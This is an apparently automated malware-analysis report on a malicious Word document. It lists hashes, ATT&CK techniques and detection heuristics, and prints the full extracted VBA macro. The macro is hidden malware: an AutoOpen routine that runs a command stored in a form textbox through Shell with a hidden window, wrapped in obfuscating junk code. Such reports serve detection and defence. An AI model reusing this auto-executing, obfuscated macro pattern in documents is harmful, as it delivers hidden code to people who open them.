Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b53004d71dc0d17…

MALICIOUS

Office (OLE)

119.9 KB Created: 2018-12-18 13:25:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: e7f824abc49e2304ddca68528c0e0ae4 SHA-1: f45676b79a41c0349000e50d5ff648ddddf192e0 SHA-256: 7b53004d71dc0d1761029657d8e62fe58f9c58eb66dd1cb7e8a4e8aafbeff692
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains a VBA macro with an autoopen subroutine that utilizes the Shell() function to execute a command. This is a common technique for downloading and executing additional malicious payloads. The presence of the 'cmd.exe' heuristic firing further supports the execution of system commands.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6787743-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6787743-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
    kRZXpYi = Array(TXwzCHKXZ, WiFKpY, NTNqBN, Interaction.Shell(CleanString(nvTFDMcQuDSt.TextBox1), 15 - 15), nAwUAJnM)
       Select Case vhWrwwLHwhINhj
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    EiDJKjLt
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 857 bytes
SHA-256: cb3c0557d0f29ecf35181459cb140057a6be34e5d2854806689e78cb41e3b840
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nvTFDMcQuDSt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
EiDJKjLt
End Sub

Attribute VB_Name = "sQoGMMkNPjEBr"
Function EiDJKjLt()
On Error Resume Next
kRZXpYi = Array(TXwzCHKXZ, WiFKpY, NTNqBN, Interaction.Shell(CleanString(nvTFDMcQuDSt.TextBox1), 15 - 15), nAwUAJnM)
   Select Case vhWrwwLHwhINhj
            Case 21458470
            vtPEXawqKYqTzo = 205771406
            bJOUowYROCUnaEvkFGjfFijV = Oct(fhaIrJIBLlXViMzUwpUGL + CStr(FcGOrIzszdsmIRwIX + Log(298339837) - lOTYOWtjKGpLOXPb / Hex(328677453)))
      End Select
End Function